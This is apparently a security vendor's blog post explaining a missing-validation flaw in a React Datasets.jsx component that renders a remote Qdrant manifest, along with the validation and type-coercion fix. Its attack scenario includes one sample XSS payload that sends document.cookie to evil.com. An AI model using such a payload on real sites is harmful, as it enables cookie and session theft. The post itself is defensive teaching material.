Back to Blog
critical SEVERITY8 min read

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 7, 2026•Reviewed September 7, 2026

Answer Summary

This is a case of unvalidated external data consumption (CWE-20 / CWE-829) in a React component, where Datasets.jsx fetched a remote JSON manifest and used it directly to populate UI state without checking response.ok, verifying the JSON was an array, or validating field types. The fix adds explicit status checks, array-type validation, per-item shape checks, and String()/Number() coercion on every field before it's stored in state, preventing malformed or malicious payloads from propagating into the render pipeline.

Vulnerability at a Glance

cweCWE-20 (Improper Input Validation), related CWE-829
fixAdded `response.ok` check, `Array.isArray()` validation, per-item shape/type guards in the filter, and explicit `String()`/`Number()` coercion when mapping dataset fields into state
riskMalicious or corrupted remote JSON (via MITM, DNS spoofing, or compromised CDN) can inject unexpected data types or structures into UI state, enabling XSS or UI corruption
languageJavaScript (React/JSX)
root cause`fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json')` response was consumed as trusted, well-formed data with no status check, shape validation, or field-level sanitization
vulnerabilityUnvalidated External Data / Improper Input Validation on Fetched Content

Summary

The Datasets component in src/pages/Datasets.jsx pulls a live manifest of Qdrant vector datasets from https://snapshots.qdrant.io/manifest-v1.16.0.json and renders the results in the UI. The problem: the code trusted that remote JSON blindly — no HTTP status check, no verification that the payload was even an array, and no type checking on individual fields like name, size, or description before they were stored in React state and rendered. A single flag from Orbis AppSec's multi-agent scanner (V-001) at line 29 triggered a fix that adds real validation at every step of the data pipeline.

Introduction

The src/pages/Datasets.jsx file handles fetching and displaying a catalog of downloadable vector datasets for the application's dataset browser, but a flaw in the useEffect fetch logic created a security risk: the component assumed the external manifest would always return a well-formed array of clean objects, and used the values as-is.

Here's the original fetch logic:

const response = await fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json');
const responseJson = await response.json();
const datasets = responseJson
  .filter((dataset) => {
    if (dataset.version === undefined) {
      return true;
    }
    // ... version comparison logic
  })
  .map((dataset) => {
    return {
      name: dataset.name,
      fileName: dataset.file_name,
      size: dataset.size,
      vectors: dataset.vectors,
      vectorCount: dataset.vector_count,
      description: dataset.description,
    };
  });
setDatasets(datasets);

Notice what's missing: there's no check that response.ok is true, no guarantee that responseJson is actually an array (calling .filter() on a non-array throws, or worse, silently misbehaves if it's array-like), and every field pulled off dataset — name, file_name, size, vector_count, description — is used verbatim, whatever type it happens to be. If the manifest server returns an object instead of an array, a string instead of a number, or an HTML/script payload instead of plain text, that data flows straight into setDatasets() and from there into the rendered UI.

The Vulnerability Explained

The core issue is that this component treats a third-party, network-fetched JSON file as if it were internally generated, trusted data. That's a dangerous assumption for several reasons specific to this code path:

  1. No integrity or signature verification. The manifest is fetched from snapshots.qdrant.io with a plain fetch() call — no Subresource Integrity, no signature check, no pinned hash. If an attacker compromises that host, performs DNS spoofing, or executes a MITM attack on the connection, they control the exact JSON the app renders.

  2. No response status check. The original code called response.json() immediately, even on a 404, 500, or redirect-to-error-page response. Parsing an unexpected error payload as if it were the dataset manifest could produce confusing or exploitable downstream behavior.

  3. No shape validation. responseJson.filter(...) assumes responseJson is an array. A malicious or broken response returning {} or null would throw at runtime (denial of availability for this page) or, if it's an array-like object with unexpected getters, behave unpredictably.

  4. No field-level type enforcement. Fields like dataset.name, dataset.description, and dataset.file_name were passed straight into React state with whatever type the JSON contained — string, object, array, or undefined. If any of these values are later rendered without escaping (or interpolated into attributes, links, or dangerouslySetInnerHTML elsewhere in the dataset UI), attacker-controlled strings in fields like description become a vector for cross-site scripting.

Attack Scenario

Imagine an attacker who can intercept traffic to snapshots.qdrant.io (compromised DNS, malicious Wi-Fi hotspot, or a supply-chain compromise of the CDN hosting the manifest). They serve a modified manifest-v1.16.0.json where one dataset entry looks like:

{
  "name": "<img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>",
  "file_name": "legit.snapshot",
  "size": "not-a-number",
  "vector_count": { "malicious": "object" },
  "description": "Free dataset!"
}

Before the fix, this object sails through .filter() (since dataset.version === undefined returns true) and .map() unmodified. dataset.name — an HTML string — ends up in datasets state exactly as-is. Depending on how the list is rendered downstream (e.g., without React's default escaping being bypassed via dangerouslySetInnerHTML, or via a library component that doesn't sanitize), this becomes a stored/reflected XSS vector triggered simply by visiting the Datasets page. Even without a downstream XSS sink, a non-string vector_count or size could break UI rendering logic that assumes numeric types, causing crashes or inconsistent display.

The Fix

The PR adds validation at every layer of the data pipeline in the fetch handler:

1. Validate the HTTP response before parsing:

const response = await fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json');
if (!response.ok) {
  throw new Error(`Failed to fetch datasets manifest: ${response.status}`);
}
const responseJson = await response.json();

This ensures error pages, redirects, or unexpected status codes never get parsed as valid dataset data.

2. Validate the overall shape of the payload:

if (!Array.isArray(responseJson)) {
  throw new Error('Datasets manifest has an unexpected format');
}

This guards against the manifest returning an object, null, or a scalar instead of the expected array, failing loudly instead of silently misbehaving.

3. Validate each item's shape inside the filter:

.filter((dataset) => {
  if (typeof dataset !== 'object' || dataset === null || typeof dataset.name !== 'string') {
    return false;
  }
  if (dataset.version === undefined) {
    return true;
  }
  // ... version comparison logic
})

Any array entry that isn't a proper object, or whose name isn't a string, is dropped before it ever reaches the .map() step — closing off the injection vector at its earliest possible point.

4. Coerce every field to its expected type when mapping:

.map((dataset) => {
  return {
    name: String(dataset.name),
    fileName: String(dataset.file_name ?? ''),
    size: Number(dataset.size) || 0,
    vectors: dataset.vectors,
    vectorCount: Number(dataset.vector_count) || 0,
    description: String(dataset.description ?? ''),
  };
});

Instead of trusting dataset.file_name, dataset.size, dataset.vector_count, and dataset.description to already be the correct type, the fix explicitly coerces them with String() and Number(), with safe fallbacks (?? '', || 0) for missing or malformed values. This guarantees that whatever ends up in React state — and eventually the DOM — is a primitive of the expected type, not an arbitrary object or malformed value that could be exploited by a rendering component downstream.

Together, these four changes turn an implicit trust relationship with snapshots.qdrant.io into an explicit, defensive one: bad status codes are rejected, malformed payloads are rejected, malformed items are filtered out, and every remaining field is forced into a safe, predictable type before it touches application state.

Key Takeaways

  • Datasets.jsx no longer assumes the snapshots.qdrant.io manifest is a well-formed array — it now validates Array.isArray(responseJson) before processing.
  • Every dataset item must now have a string name to survive the .filter() step, closing off a path for non-object/malformed entries.
  • dataset.size, dataset.vector_count, dataset.file_name, and dataset.description are explicitly coerced with String()/Number() instead of trusted as-is, preventing type-confusion downstream.
  • Failed or non-ok HTTP responses now throw immediately instead of being parsed as valid manifest data.
  • Remote data sources — even ones you "trust" like a vendor's snapshot server — should be treated as untrusted input at the application boundary.

How Orbis AppSec Detected This

  • Source: The remote JSON response from fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json') in src/pages/Datasets.jsx:29.
  • Sink: setDatasets(datasets), which feeds directly into the component's render output, and the .map()/.filter() chain that processed each dataset object's fields without type checks.
  • Missing control: No HTTP status validation, no array-shape validation, no per-field type checking or sanitization on data originating from an external, non-integrity-checked source.
  • CWE: CWE-20 (Improper Input Validation), related to CWE-829 (Inclusion of Functionality from Untrusted Control Sphere).
  • Fix: Added response.ok and Array.isArray checks, per-item shape validation in .filter(), and explicit String()/Number() coercion in .map() before storing dataset fields in state.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This fix is a good reminder that "external API" doesn't mean "trusted input." The Datasets component treated a remote manifest fetched over the network as inherently safe, well-typed data — an assumption that breaks down the moment that endpoint is compromised, spoofed, or simply returns something unexpected. By adding response status checks, array-shape validation, per-item guards, and explicit type coercion, src/pages/Datasets.jsx now defends against malformed or malicious manifest data at every stage before it reaches application state and the rendered UI. The lesson generalizes well beyond this one component: any time your app consumes JSON from a third party, validate the shape and coerce the types before you use it — don't let a remote server dictate what types and structures flow into your React state.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #439

Related Articles

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.